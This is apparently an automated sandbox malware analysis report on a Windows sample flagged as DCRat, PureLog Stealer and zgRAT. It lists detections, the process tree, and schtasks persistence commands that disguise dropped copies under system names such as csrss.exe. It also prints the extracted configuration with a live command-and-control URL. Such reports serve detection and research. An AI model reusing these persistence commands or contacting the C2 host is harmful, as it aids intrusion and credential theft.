Edit tour

Windows Analysis Report
Gg6wivFINd.exe

Overview

General Information

Sample name:	Gg6wivFINd.exe renamed because original name is a hash value
Original sample name:	F59DF4574B5C3BB1F563A585B031DC2B.exe
Analysis ID:	1583687
MD5:	f59df4574b5c3bb1f563a585b031dc2b
SHA1:	74005bad7458957b59505c4ca1eaf5464dc5fedf
SHA256:	df0755b9d78d1e923a225189604215fdb48793f363691e7a7ed2126b481e94d1
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files with benign system names

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Gg6wivFINd.exe (PID: 7288 cmdline: "C:\Users\user\Desktop\Gg6wivFINd.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

schtasks.exe (PID: 7380 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7404 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7428 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 7444 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 7492 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7B7D.tmp" "c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 7516 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7540 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7564 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7588 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7612 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7636 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7660 cmdline: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7684 cmdline: schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7708 cmdline: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7732 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7756 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7780 cmdline: schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7804 cmdline: schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 11 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7828 cmdline: schtasks.exe /create /tn "Gg6wivFINd" /sc ONLOGON /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7852 cmdline: schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 6 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7888 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7948 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7992 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

Gg6wivFINd.exe (PID: 8164 cmdline: "C:\Users\user\Desktop\Gg6wivFINd.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

csrss.exe (PID: 7940 cmdline: "C:\Users\All Users\ssh\csrss.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

csrss.exe (PID: 7964 cmdline: "C:\Users\All Users\ssh\csrss.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

Gg6wivFINd.exe (PID: 7980 cmdline: C:\Users\user\Desktop\Gg6wivFINd.exe MD5: F59DF4574B5C3BB1F563A585B031DC2B)

Gg6wivFINd.exe (PID: 8008 cmdline: C:\Users\user\Desktop\Gg6wivFINd.exe MD5: F59DF4574B5C3BB1F563A585B031DC2B)

SKldWJijnIiMahBoQJBr.exe (PID: 8020 cmdline: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

SKldWJijnIiMahBoQJBr.exe (PID: 8028 cmdline: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

SKldWJijnIiMahBoQJBr.exe (PID: 5220 cmdline: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

csrss.exe (PID: 7688 cmdline: "C:\Users\All Users\ssh\csrss.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

Gg6wivFINd.exe (PID: 7948 cmdline: "C:\Users\user\Desktop\Gg6wivFINd.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

SKldWJijnIiMahBoQJBr.exe (PID: 7512 cmdline: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

csrss.exe (PID: 7812 cmdline: "C:\Users\All Users\ssh\csrss.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

Gg6wivFINd.exe (PID: 5924 cmdline: "C:\Users\user\Desktop\Gg6wivFINd.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

SKldWJijnIiMahBoQJBr.exe (PID: 7932 cmdline: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe" MD5: F59DF4574B5C3BB1F563A585B031DC2B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary", "MUTEX": "DCR_MUTEX-s0gk0uFHrMNtVBVBIuMP", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Gg6wivFINd.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
Gg6wivFINd.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\ssh\csrss.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\ProgramData\ssh\csrss.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001A.00000002.2923235693.000000000336A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001A.00000002.2923235693.0000000003501000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.1659306757.0000000000B92000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Gg6wivFINd.exe PID: 7288	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: csrss.exe PID: 7964	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Gg6wivFINd.exe PID: 8164	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Gg6wivFINd.exe.b90000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.Gg6wivFINd.exe.b90000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\Gg6wivFINd.exe, ProcessId: 7288, TargetFilename: C:\Users\All Users\ssh\csrss.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\All Users\ssh\csrss.exe", CommandLine: "C:\Users\All Users\ssh\csrss.exe", CommandLine|base64offset|contains: , Image: C:\ProgramData\ssh\csrss.exe, NewProcessName: C:\ProgramData\ssh\csrss.exe, OriginalFileName: C:\ProgramData\ssh\csrss.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\All Users\ssh\csrss.exe", ProcessId: 7940, ProcessName: csrss.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Gg6wivFINd.exe, ProcessId: 7288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SKldWJijnIiMahBoQJBr

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Gg6wivFINd.exe, ProcessId: 7288, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\Gg6wivFINd.exe", ParentImage: C:\Users\user\Desktop\Gg6wivFINd.exe, ParentProcessId: 7288, ParentProcessName: Gg6wivFINd.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", ProcessId: 7444, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\Gg6wivFINd.exe, ProcessId: 7288, TargetFilename: C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\All Users\ssh\csrss.exe", CommandLine: "C:\Users\All Users\ssh\csrss.exe", CommandLine|base64offset|contains: , Image: C:\ProgramData\ssh\csrss.exe, NewProcessName: C:\ProgramData\ssh\csrss.exe, OriginalFileName: C:\ProgramData\ssh\csrss.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\All Users\ssh\csrss.exe", ProcessId: 7940, ProcessName: csrss.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\Gg6wivFINd.exe", ParentImage: C:\Users\user\Desktop\Gg6wivFINd.exe, ParentProcessId: 7288, ParentProcessName: Gg6wivFINd.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline", ProcessId: 7444, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f, CommandLine: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Gg6wivFINd.exe", ParentImage: C:\Users\user\Desktop\Gg6wivFINd.exe, ParentProcessId: 7288, ParentProcessName: Gg6wivFINd.exe, ProcessCommandLine: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f, ProcessId: 7660, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T11:47:10.548635+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Gg6wivFINd.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\URqTugUz.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\lSvXNkJN.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\ProgramData\ssh\csrss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\tHgNldeW.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\cAPiRqzI.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Found malware configuration

Source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary", "MUTEX": "DCR_MUTEX-s0gk0uFHrMNtVBVBIuMP", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\ssh\csrss.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\URqTugUz.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\VqLBvYHA.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\cAPiRqzI.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\lSvXNkJN.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\sKFFPdPb.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\tHgNldeW.log	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: Gg6wivFINd.exe	ReversingLabs: Detection: 73%
Source: Gg6wivFINd.exe	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\lSvXNkJN.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ObFbaRth.log	Joe Sandbox ML: detected
Source: C:\ProgramData\ssh\csrss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\SGUSuOoy.log	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\tHgNldeW.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Gg6wivFINd.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-s0gk0uFHrMNtVBVBIuMP","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://unasnetds.ru/","eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary"]]

Source: Gg6wivFINd.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

